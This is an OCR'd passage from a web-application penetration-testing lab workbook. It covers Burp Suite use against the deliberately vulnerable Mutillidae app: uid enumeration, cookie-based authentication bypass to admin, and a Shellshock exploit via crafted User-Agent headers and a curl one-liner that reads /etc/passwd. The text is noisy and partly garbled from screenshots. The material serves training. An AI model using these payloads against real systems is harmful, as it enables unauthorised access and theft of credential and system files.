Connection: close

o

~

[+1]

w0 I

(1]

o

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
Intercept HTTP history WebSockets history Options
L | Re-enable |
Filter: Hiding CSS, image and general binary content
# Host Method URL Params Edited Status Length MIMEty.. Extension
- N _— . . —_— —— e m -
12 http:/fwww.sec542.org POST  /mutillidae/index.php?page=login.php v 302 326 HTML php
13 http:/fwww sec542.org GET /mutillidaefindex.php?popUpNotificationCode=AU1 v 200 46972 HTML php
http:/fwww.sec542.org /mutillidae/index.php?page=edit-account-profile. php&uid=24
17 http:/fwww.sec542.org GET /mutillidae/javascriptfinline-initializers/populate-web-storage.js 200 1622 script is
19 http:/fwww.sec542.org GET fmutillidae/javascriptfinline-initializersfjquery-init.js 200 405 script s
21 http:/fwww.sec542.org GET fmutillidaefjavascript/ddsmoothmenu/ddsmoothmenu.js 200 8930 script is
22 http:/fwww.sec542.org GET /mutillidaefjavascript/gritter/jquery.gritter.min js 200 4539 script s
23 http:/fwww.sec542.o0rg GET /mutillidaefjavascript/hints/hints-menu.js 200 1339 script is
Response
Hg='l Raw Render \n  Actions v
1 HTTR/1.1 200 OK
2 Date: Mon, 19 Apr 2021 13:48:52 GMT
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 3 Server: Apache/2.4.29 (Ubuntu)

Expires: Thu, 19 MNov 1981 08:52:00 GMT
Cache-Control: public

Logged-In-User: student
X-XSS-Protection: 0O;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url

S Cookie: PHPSESSID=mc3veiSljdisd967aSvueje3us 10 Vary: Accept-Encoding

10 Upgrade-Insecure-Requests: 1 11 Content-Length: 49086

11 Pragma: no-cache 12 Connection: close

12 Cache-Control: no-cache 3 Content-Type: text/html;charset=UTF-8
13 14

4. Right click on this request, and choose Send to Repeater.
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Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options

Intercept HTTP history Web5ockets history Options

Loggir
Logg

Filter: Hiding CS5, image and general binary content

# Host Method URL Params Edited Status Length MI]
. - _— e = e v —_— e
12 http:/fwww sec542.arg POST  /mutillidae/index.php?page=login.php v 302 326 HT)
13 http://www.sec542.org GET /mutillidaefindex.php?popUpMotificationCode=AU1 v 200 465972 HT
14 http:/iwww.sec542.org GET /mutillidaefindex.php?page=edit-account-profile.php&uid=24 v 200 489457 HT
15 http:/fwww.sec542.0rg GET /mutillidaefindex php?page=edit, "=~ =t meafile nbeuid_aa 4 aan ARAEE HT|
16 http:/iwww.sec542.0rg GET  /mutillidae/javascript/inline-initia http:/fwww.sec542.org/mutill...it-account-profile. php&uid=24 scr]
17 http:/fwww sec542.arg GET fmutillidae/javascriptfinline-initia Remove from scope 5T
19 http://www.sec542.org GET /mutillidaefjavascriptfinline-initia Scan sCri
2 http:/fwww sec542.arg GET fmutillidae/javascript/ddsmoothr _ 5L
22 http://www.sec542.org GET /mutillidaefjavascript/gritter/jque Do passive scan ser
23 httpJ/iwww.sec542.0rg GET /mutillidaefjavascript/hints/hints, Do active scan =

Original request v ﬁ Send to Repeater Ctrl-R

Pretty EEETTE \n  Actions v \n
1 GET /mutillidae/index.php?page=edit-account-profile.php Send to Comparer (request) '
2 Host: www.sec342.0rg B o Send to Comparer (response) pro2
5. Click on the Repeater tab. The uid parameter should already have the value 25 . If the uid parameter's value is still 24 ,changeto 25 and click Send.
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer
1 =

Request

Pretty \n  Actions v

1 GET /mutillidae/index.php?page=edit-account-profile.p P/1.1
2 Host: www.sec542.0rg
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86,0) Gecko/20100101
Firefox/86.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image /wehp,*/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.sec542. org/mutillidae/index.php?popUpMotificationCode=aALL
Connection: close

Cookie: PHPSESSID=Emc3veiSljdisd9s7aSvueje3us

10 Upgrade-Insecure-Requests: 1

11 Pragma: no-cache

12 Cache-Control: no-cache

13

2 a

U I

[Vs]

6. The Response window will populate with the response. Remember that we saw the username reflected in the Username textbox. You can scroll down the response to find this

textbox, but an easier way to find it is to search the response.
7. Let's setup an autoscroll search, so that as we send requests in Repeater the response will automatically scroll down to the Username textbox.

8. Under the Response window, type in the following text:

name="username"

9. Then, click the gear icon to the left of the search textbox, and select Auto-scroll to match when text changes.
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Response
Raw Render \‘n Then CI|Ck the
Kuid=25 “Auto-scroll”

checkbox

B&.0)
=tr=
. =td cl ="lahel"=
Click the gear Usermome
icon first S/t

value="adent"
=/td=
=ftr=

=input type="text" name="username" siz

Type the
search value

I matches @ é?i‘ [(_1 j

10. The Response will move down to the username textbox, and you can see that the value property will match the name of the second user account that was created earlier in this lab.
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Response

He=n'l Raw Render “n  Actions %

1031 =td class="lahel"=
Username
=/td=

=input type="text" name="username" size="15" autofocus='

value="adent" f=

1036 =ftr=

1037 <tr=
1038 =td class="lahel"=
Password
=/td=
1039 =td=
@@ ‘(—H—}| name="username" 1 match

- we previously tried one uid higher than student (uid 24). Let's try one lower. Change the uid to 23, and click Send. The Response window will refresh and scroll down to the

username textbox, which now has the value @d (one of the built-in accounts).
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Response

He=n'l Raw Render “n  Actions %

1030 <tr=
1031 =td class="lahel"=

Username
=/td=
1032 <td=
1033 e="uUsername" size="15" autofocus="a
1035
1038 =ftr>
1037 <=tr=
1038 <td class="label"=
Password
=/td=
1039 <t d=
1040 =input type="password" name="password" size="15"
1mA1 walna—"mnarntact [ R

@@ ‘E’ |E| name="username" 1 match

12. Next goal: Enumerate all the usernames for "uid" 0 through 50. This could be done manually via Burp Repeater, but that would be quite tedious. Let's automate via Burp Intruder.

13. Right click on the request in Repeater that we have been working with and choose Send to Intruder.
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Request

Pretty ‘n Actions W

1 GET fmutillidae/index.php?page=edit-account-profile.php&uid=23 HTTP/1.1
2 Host: www.secS42,org
3 User-Agent: Mozilla/5.0 (®11; Ubuntu; Linux xB86_64; rv:86.0) Gecko/20100101
Firefox/86.0

4 Accept:

text/html,application/xhtml+xml ,application/xml;g=0.9, image /wehp, ¥/ *;q=0.8
5 Accept-Language: en-US,en:g=0.5
& Accept-Encoding: gzip, deflate

7 Referer:

http: /S www. s Scan .LpopUpNotifica‘tionCode=AU1
2 Connection: )
9 Cookie: PHPS Do passive scan us
10 Upgrade-Inse Do active scan
11 Pragma: no-c
12 Cache-Contrao Send to Intruder Ctril-1
}i 5end to Repeater Ctrl-R
5end to Sequencer
Send to Comparer

14. Click the Intruder tab.
15. Let's have Burp automatically retrieve all the usernames that appear in the username textbox.

16. Click the Options sub-tab under Intruder, and Scroll down to Grep - Extract.

Note

If there are any entries in the listbox, click Clear and click Yes when asked to confirm.

Dashboard Target Proxy Repeater Sequencer Decoder

1 = 2 x

Target Positions Payloads

(:) Request Headers

o These settings control whether Intruder updates the configured request headers during attacks.

17. Click the Add button in the Grep - Extract section.
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@ Grep - Extract

O These settings can be used to extract useful information from responses into the attack results table.

|| Extract the following items from responses:

[ ]
| Edit |
[_Remove |
| Duplicate | >
|

| Down |

| Clear |

Maximum capture length:

18. The Define extract grep item dialog box will open. In order to easily find the value we want to pull from the reponses (aka the usernames), let's search the response for the username
textbox. Enter the following text into the search textbox at the very bottom of the dialog box.

name=""username"
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Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable
configuration automatically. You can also modify the configuration manually to ensure it works effectively.

r Define start and end ~ || Extract from regex group

O start after expression: | l

| Start at offset: | Case sensitive

o End at delimiter: | l

| End at fixed length:

\:\ Exclude HTTP headers Update config based on selection below Refetch response
1025 <t re=<td=&nbsp; </td==/tr=
1026 <tr=
1027 <td colspan="2" class="form-header"=Flease choose your username,
password and signature=/td=
1028 <ftr=
1029 <tr=<td=&nbsp;=/td=</tr=
1030 <tr=
1031 <td class="label"=Username</td=
1032 <td=
1033 =input type="text" name="username" size="15" autofocus="autofocus"
1034 value="ed" =
=/td=
=ftr=
<tr=
38 <td class="label"=Password</td=

1039 <td=
1040 <input type="password" name="gMSsword" size="15"
1041 value="pentest" £
1042 &nbsp;

1043

@@ |(—|| I name="username"

19. The text will scroll down to the username textbox. Next, highlight the value of the value attribute in the username textbox within the HTML code. Be sure to only highight ed,
without the quotes. Lastly, click the OK button.
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Define the location of the item to be extracted. Selecting the item in the reg
configuration automatically. You can also modify the configuration manua

Define start and end

o Start after expression:

| Start at offset:

o End at delimiter:

| End at fixed length:

|| Exclude HTTP headers Update config based on selection below

This area will
auto-populate

|- Refetch response

1025 <t re=<td=&nbsp; </td==/tr=
1026 <tr=
1027 <td colspan="2" class="form- ame,
password and signature=/td=
1028 <ftr=
1029 <tr=<td=&nbsp;=/td=</tr=
1030 <tr=
1031 <td class="lahel" =rname=/td=
1032 <td=
1033 <input ext" name="username" size="15" autofocus="autofocus"
1034 valu =
=/td=
=ftr=
<tr=
<td class="lahel"=Password=/td=

1039 <td=
1040 <input type="password" name="password" size="15"
1041 value="pentest" =
1042 &nbsp;
1043 <a href="index.ohn?paoe=password-oenerator.oho&usern udent "
@@ |(—||—)| I name="username" I 1 match

OK ‘ | Cancel

20. A new entry will appear in the Grep - Extract listbox. Make sure the Extract the following items from responses: checkbox is checked.
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2

iy

22.

’ Remove |
| Muinlirato | | .
. Click on the Positions sub-tab. Click Clear § (between the Add § and Auto § buttons, not the button in the lower right).
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 % 2 x

(?) Grep-Extract

can be used to extract useful information from response

Extract the following items from responses;

’- Add From [value="] to ["/>]

| Edit |

Target Payloads Options
@ Payload Positions m

Configure the positions where payloads will aggerted into the base request. The attack type determines the way in which payloads are assigned to
payload positions - see help for full details.

Attack type: | Sniper V‘
1 GET /mutillidae/sindex.php?page=§edit-account-profile,php§&uid=§23§ HTTP/1.1 ‘ Add § |
2 Host: www.sec542.org —
3 User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86. > Clear § |
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/%;q=0.8 —
5 Accept-Language: en-US,en;g=0.5 ‘ Auto § |
& Accept-Encoding: gzip, deflate —
7 Referer: http://www.sec542,org/mutillidae/index.php?popUpNotificationCode=AUL ‘ Refresh |
& Connection: close -
9 Cookie: PHPSESSID=Emc3veiSljdisd967aSvueje3uss
10 Upgrade-Insecure-Requests: 1
11 Pragma: no-cache
12 Cache-Control: no-cache
13
14
Then: highlight 23 and click Add §.
Attack type: ‘ Sniper v|
1 GET fmutillidae/index.php?page=edit-account-profile.php&ul P/1.1 ﬁ Add § |
> Host: www.sec542.org P ——
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0 ZCRD, 20100101 Firefox/86.0 | Clear § |
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/¥;g=0.8 —
5 Accept-Language: en-US,en;qg=0.5 | Auto § |
5 Accept-Encoding: gzip, deflate —
7 Referer: http://www.sec542.org/mutillidae/index.php?popUphotificationCode=AUL | Refresh |

Connection: close

9 Cookie: PHPSESSID=mc3veiSljdisd967aSvue]je3us
0 Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

[+3]

23. Click the Payloads tab. Under Payload Sets choose Payload type: -> Numbers.

24. Enter the following options:

" From: ©
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‘To: 50

“Step: 1

25. Then click Start attack.

1 = 2 x

Target Positions Payloads Options

(?) Payload sets

You can define one or more payload sets. The numi™®
types are available for each payload set, and each payload

Payload type: | MNumbers ~

@ Payload Options [Numbers]

Number range

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender

Project options

glpayload sets depends on the attack type defined in the Positions tab. Various payload

€ can be customized in different ways.

Payload set: | 1 v ‘ Payload count: 51

This payload type generates numeric payloads within a given range and in a specified format.

<

<

<

Type: © Ssequential Random
From: ‘ q

To: ‘ 50

Step: ‘ 1

How many:

Number format

User options

2. On the Burp results screen look inthe Va'lue@= column to see the list of usernames collected from the application. Scoll up and down, and note the successful UIDs (shown in

the Payload column). UIDs 1-25 were successful; 0 and 26-50 were not.
v Intruder attack 3 - + X
Attack  Save Columns
Results Target Positions Payloads Options

Filter: Showing all items ‘@
Requ... Payload Status Error Timeo.. Length Comment
0 ] | 49470

1 0 B | 49429
2 1 B | 49460

3 2 B | 49476
4 3 | | 43471

5 4 ] | 40466

6 5 | | 49480
7 6 B | 40462

g 7 B | 4sae2
9 8 B | 49463
+ Reuse the admin account's UID parameter as a cookie to perform authentication bypass
162 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

Solution

1. Sometimes parameters can be reused in an application. On Day 1, we looked at moving parameters between the URI (GET request) and the body (POST request). This particular
application has an "undocumented feature" that if you specify a UID as a cookie, the application will re-associate the session with the user account that uses the specified UID value.
We will add a cookie to a request to the application and see the Logged In User name change.

2. Looking through the list of usernames that were enumerated in the last step, the admin account is notable. Let's upgrade our access to admin.

3. Switch back to the Repeater tab in Burp, and change the search value under the Response window to the following value:

Logged In

4. Changing the search value will allow us to quickly see the logged in username in the responses.

Note

The current username is student because that is the account we logged in with at the beginning of the lab.

44 <tr class="main-table-frame-dark"=
45 <td class="main-table-frame-second-bar" colspan="2"=
46 Version: 2.8.24 <span=Security Level: O (Hosed)=/span=

a7 - Try easier)=/span=
48 span class="logged-in-user"=student=/span=
b=edit-account-profile.php&uid=24"=<img src="images/edit-icc
<fspan=
49 =/td=
50 =ftr=
51 <tr class="main-table-frame-menu-bar"=
52 <td class="main-table-frame-menu-bar" colspan="2"=
53 <@ href="index.php?page=home.php&popUpNotificationCode=HPHO" =Home=/a=
54 |
55 <a href="index.php?do=logout"=Logout</a=
|
56 <a href="index.php?do=toggle-hints&page=edit-account-profile.php"=Toggle Hints=/a=

| <a href="index.php?do=toggle-securityé&page=edit-account-profile.php"=Toggle

57 |
=g href="index.php?do=toggle-enforce-sslépage=edit-account-profile.php"=Enforce TL

|
<a href="set-up-database.php"=Reset DB</a=

|
<a href="index.php?page=show-log.php"=View Log=/a=

[ ==} 1
SEIGE Co—rm—

570 add a new cookie value, find the COOKi @3 request header, and after the PHPSESSID value, enter the following text:

3 uid=1

6. The entire line should read: Cookies PHPSESSID=<UNIQUE_SESSION_ID>; uid=1.
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Request

Pretty ‘n Actions W

GET /mutillidae/index.php?page=edit-account-profile.php&uid=23 HTTP/1.1

Host: www.secS5S42.org

User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux x86 64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image / webp,*/¥;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.sec542.org/mutillidae/index.php?popUpNotificationCode=AUL

S

U W

11 Pragma: no-cache
12 Cache-Control: no-cache

Note

The value of your PHPSESSID cookie will be different than what you see in the screenshot.

7. Click the Send button.

8. At this point Mutillidae has associated our session with the admin account and permits administrative-level access. See the Logged In User text in the page changed to Logged in

Admin.

Response

Z¢=u'8 Raw Render ‘\n  Actions v

w
%]

<script src="javascript/inline-initializers/populate-web-storage.js"=
=/script=
<script src="javascript/inline-initializersfgritter-init.js"=
=/script=
<script src="javascript/inline-initializers/hints-menu-init.js"=
=/script=
=/head=
<hody=
=table class="main-table-frame"=
<tr class="main-table-frame-dark"=

[¥1]
w

[¥}]
I

0
o

w
(]

]

L

39 <td class="main-table-frame-first-bar" colspan="2"=

an <img src="images/coykillericon-50-38.png" />

41 OWASP Mutillidae II: Keep Calm and Pwn On

42 </td=

43 <ftr>

44 <tr class="main-table-frame-dark"=

45 <td class="main-table-frame-second-bar" colspan="2"=

a6 Version: 2.8.24 =span=Security Level: @ (Hosed)=/span=

48 =pan=Logged In Admin: =span class="logged-in-user"=admin=/span=

- - - - - images/edit-ico

=fa=
<fspan=

49 <ftd=

50 =ftr=

51 <tr class="main-table-frame-menu-bar"=

52 <td class="main-table-frame-menu-bar" colspan="2"=

9. In Firefox, click on View Log. You will see the Logged In Admin text at the top of the window. If you look in the log entries in the main body of the window you should see that you

unlocked an achievement in the log: "Got account with UID : 1"... CONGRATULATIONS!
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®% OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Logged In Admin: admin [#
e | Logout | Toggle Hints| Toggle Security | Enforce TLS | ResetDB | View Log | "7 ___ =  _‘*Z=_°

[ = ]
P e @ ewme
:
‘ v Hints and Videos

@ 357 log records found é Refresh Logs @ _ Delete Logs
Hostname 1P Browser Agent Message Date/Time

. Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) . 2021-04-19

D _ .

10.42.42.42110.42.42.42) G4 10/20100101 Firefox/86.0 Got account with UID : 1 I 15:39:37
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) User visited: edit-account- 2021-04-19

10.42.42.42/10.42.42.42) Gocyo/20100101 Firefox/86.0 profile.php 15:30:37

10. Keep clicking on links in Mutillidae, and note that the logged on account will remain admin.

1. Click the "Reset DB" button in Mutillidae to restore the application to is original state.

@ OWASP Mutillidae II: Keep Calm an

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) L
Home | Logout | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log |

OWASP 2017 ‘ =

k4 Hints and Videos ‘

OWASP 2013 >
TIP: |

OWASP 2010 3

OWASP 2007 »
rvice 3
3

What Should | Do? g Help Me!

Web Services
HTML 5

2. Disable the proxy setting in Firefox so that it does not interfere with future labs.

3. Go to the Firefox proxy selector drop-down and choose [Direct].

N @

O [system Proxy]

|

@ Burp Community
Burp Pro

@ Zap

-

localhost =

/ Options
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[1] https://portswigger.net/burp/documentation/desktop/tools/repeater/using
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Exercise 2.Bonus - Exploiting Shellshock

Objectives

« Exploit a software configuration flaw with significant impact: Shellshock
+ Gain familiarity with Burp Suite

+ Learn to intercept and manipulate requests with Burp

+ Use a proxy switching tool to point the browser at an interception proxy

+ Exploit Shellshock vulnerabilities via crafted HTTP requests

Lab Setup

1. netstat.cgi isasimple CGl (Common Gateway Interface) file that displays the output from the netstat -nlt command.
This page exists to check the local network connections of a web server, without requiring logging in locally to run the netstat
command.

2. Open Firefox and surf to: http://sec542.org/cgi-bin/netstat.cqi.

sec542.org/cgi-bin/netstat.cgi X | 4
(€)= C & [ (G sec542.org/cgi-bin/netstat.cg v B | - @ % ]
¥ Most Visited
Executing: netstat -nlt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp ] 0 127.0.0.1:40425 0.0.0.0:* LISTEN
tcp ] 6 127.0.0.1:3306 6.0.0.0:* LISTEN
tcp ] 6 172.16.164.178:53 6.0.0.0:* LISTEN
tcp ] @ 172.20.8.1:53 0.0.0.0:* LISTEN
tcp ] 6 172.18.8.1:53 0.0.0.0:* LISTEN
tcp <] 6 172.21.6.1:53 6.0.0.0:* LISTEN
tcp 2] 6 172.19.98.1:53 6.0.0.0:* LISTEN
tcp e 6 172.17.6.1:53 0.0.0.0:* LISTEN
tcp <] 6 10.42.42.42:53 0.0.0.0:* LISTEN
tcp ] 6 127.0.08.1:53 0.0.0.0:* LISTEN
tcp ] 6 0.0.0.0:22 0.0.0.0:* LISTEN
tcp ] 6 127.0.6.1:631 6.0.0.0:* LISTEN
tep ] @ 127.0.0.1:5433 0.0.0.0:* LISTEN
tcp 2] 6 127.0.98.1:953 0.0.0.0:* LISTEN
tcp ] 6 127.0.0.1:5443 0.0.0.0:* LISTEN
tcpb <] 6 :::80 DI LISTEN
tcpb &) 8 rz:563 * LISTEN
tcpb 8 B z::22 * LISTEN
tcpb ] 8 ::1:631 " LISTEN
tcpb ] @ ;:1:953 i LISTEN
tcpb ] 0 :::443 = LISTEN
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View the cgi-bin Source Code

1. We can't view the actual cgi-bin code via the browser because the browser sees only the output.

2. View the code locally by typing the following into Terminal:

cat /usr/lib/cgi-bin/netstat.cgi

3. Results should look like this:

- Terminal - student@Security542: ~ -+
File Edit Miew Terminal Tabs Help:

[~]1% cat fusr/lib/cgi-bin/netstat.cgi
#!1/usr/local/bin/bashsh

echo "Content-type: text/html"

echo

echo "Executing: netstat -nlt"

echo

echo "<pre>"

/bin/netstat -nlt

echo "</pre=" -
=15 I H

4. The code is simple:

#!/usr/local/bin/bashsh

echo "Content-type: text/html"
echo

echo "Executing: netstat -nlt"
echo

echo "<pre>"

/bin/netstat -nlt

echo "</pre>"

5. There's not much that appears obviously vulnerable: no forms, no POST, no SQL, no options, and such.

Note

The system-installed version of Bash ( /bin/bash ) is patched; /usr/local/bin/bashsh is a version of Bash that is
vulnerable to Shellshock. It's called bashsh (BAsh SHell SHock) to keep it safely out of the way of normal system operation.

Challenges

1. Target resource is: http:/www.sec542.org/cgi-bin/netstat.cgi.

2. Perform the following:

Burp Suite

« Intercept a request from Firefox to load http:/www.sec542.org/cgi-bin/netstat.cgi.
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Solution

1. Launch Burp Pro by clicking the Burp icon in the upper panel.

2. Wait for Burp Pro to launch.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

3. Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.

Note

If you only have one instance running, you should not expect to see the popup below.

N/ Delete old temporary files? X
Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019 /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

=

>

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port
8080 because it is in use by another instance.

5. Then choose Burp Pro in the Firefox proxy selector menu.
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O [System Proxy]

@ Burp Community
Burp Pro

@ zap

Y localhost ~

/4 Options

Set Burp Intercept

1. Go to the Burp -> Proxy -> Intercept tab and click the Intercept is off button:

Burp Project Intruder Repeater Window Help
Dashboard Target Intruder Repeater Sequencer Decoder Compar|
1TP history WebSockets history Options
L is di ] | Re]
ard Drop ‘ Intercept is off | Action | Open Browser ‘
Use a diff
Use Burp's embedded browser
. . You'll need
There's no need to configure your proxy settings configure
manually. Use Burp's embedded Chromium . S
testing over
2. Intercept will now be on.
Action Open Browser

3. Go to Firefox and reload the Shellshock Netstat.cgi page.

4. The Burp intercept window shows the request has been temporarily stopped. Burp enables us to change any displayed values or even add in additional values.

5. Our first task is to change the User-Agent string in such a way as to exploit a Shellshock vulnerability and display the contents of /etc/passwd X

6. Note the current User-Agent string below, which begins with: Mozilla/5.0...
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Burp Project Intruder Repeater Window Help
Dashboard Target Froxy Intruder Repeater Sequencer Decoder Comparer Extender Pro

Intercept HTTP history Web5ockets history Options

disabled | Re-enable

/ Request to http:/fwww.sec542.0rg:80 [10.42.42.432]

‘ Forward ‘ | Drop | ‘ Action ‘ ‘ Open Browser ‘

Fretty MEEITE \n Actions v

,_.

GET /cgi-bin/netstat.cgi HTTR/1.1

Mozilla/S 86.0) Gecko/20100101 Firefox/86.0

5 Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip, deflate

Connection: close

S Cookie: phpbb3_grk7n_u=48; phpbb3_grk7n_k=: phpbb3 grk7n_sid=ce2559d81lbdedd70f8993528d82c077e
2 Upgrade-Insecure-Requests: 1

+ Change the User-Agent string of the request made from Firefox to exploit Shellshock and display the contents of /etc/passwd in
the browser.
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Solution

T-Now change the User-Agentto: User—Agent: () { 423}j;echoj/bin/cat /etc/passwd.

2 The spaces are mandatory. There are four single spaces in the example, indicated with arrows in the image below. The value 42 is arbitrary and can be any alphanumeric string of

one character or longer.

User-Agent:

()11

{ 42;};echo;/bin/cat /etc/passwd

Note

The syntax can also be copied and pasted from the shellshock.txt file on the Desktop.

. Your forged User-Agent should now look like the following screenshot:

w

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender

Inte

cept HTTP history WebSockets history Options

Logging of out-of-scope Proxy t | Re-enable
/ Request to http:/fwww.sec342.0rq:80 [10.42.42.42]
|' Forward ‘ | Drop ‘ ‘ Action ‘ | Open Browser ‘
Pretty \n  Actions Vv
1 GET /cgi-bin/netstat.cgi HTTP/1.1
User-Agent echo;/bin/cat /fetc/passwd
¥ —— bp, */#;9=0.8

5 Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip, deflate

7 Connection: close

S Cookie: phpbb3 ark7n_u=48; phpbb3 grk7n_k=: phpbb3_grk7n_sid=ce2559d81bd6dd70f8993528d82c077e
9 Upgrade-Insecure-Requests: 1

10

11

Project g

Now turn Burp intercept off by clicking the button so that it shows:

»

| Intercept is off | Action

Open Browser

5. The edited request will be sent to the web server.

6. Go back to the Firefox window. You should now see the contents of the /etc/passwd file if you performed the previous steps correctly.
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’(—‘ - C‘ ﬁ [@ | ' www.sec542.org/cgi-bin/netstat.cqgi

I} Most Visited JH Sec542 Wiki Untrusted - a user ja...

{If Untrusted Solutions

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool/uucp:/usr/sbin/nolegin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534 :nobedy: /nonexistent: /usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106: : /home/syslog: fusr/sbin/nologin

us:x-103-187: - /nonexistent: fusr/shin/noloain

7. If not, recheck your work; go back to the Set Burp Intercept step and try again.

« Alter the User-Agent string of a request to determine the userid under which we are running.

Solution

1. Let's check the permissions of the web server user.
2. Repeat the previous steps (see previous section for step-by-step instructions).
« Turn Burp intercept on.

+ Reload the netstat.cgi page in Firefox.
* Change the User-Agent to: User—Agent: () { 42;3}3echo;/usr/bin/id.

« Turn Burp intercept off.

I(—‘ - Q @© [ © ‘ # www.sec542.org/cgi-bin/netstat.cgi

L} Most Visited

Untrusted Solutions

Sec542 Wiki Untrusted - a user ja...

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Note

The syntax for this User-Agent is also in the Desktop shellshock.txt file and can be cut and pasted.

curl

+ Leverage curl to exploit the same Shellshock vulnerability from the command line in order to:
« Display the contents of /etc/passwd

+ Determine the userid under which we are running
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« Determine the kernel version of the student VM
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Solution

1. The curl command-line browser can alter the User-Agent, the syntax is:
curl -A "<User-Agent>'" <URL>

2. Open a terminal and type this command

curl -A "() { 423}3echo;/bin/cat /etc/passwd" http://sec542.org/cgi-bin/netstat.cgi

3. Executing the command results in the following:

- Terminal - student@Security542: ~ Lol B
File Edit View Terminal Tabs Help

[~]% curl -A "() { 42;};echo;/bin/cat /etc/passwd" http://sec542.org/cgi-bin/netstat.cgi
root:x:0:@:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:ix:7:7:1p:/var/spool/lpd: /usr/sbin/noleogin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-dataix:33:33 :www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534 :nobody: /nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106: :/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin

| apt:x:104:65534::/nonexistent:/usr/sbin/nologin

Note

The syntax for this command is also in the Desktop shellshock.txt file and can be cut and pasted.

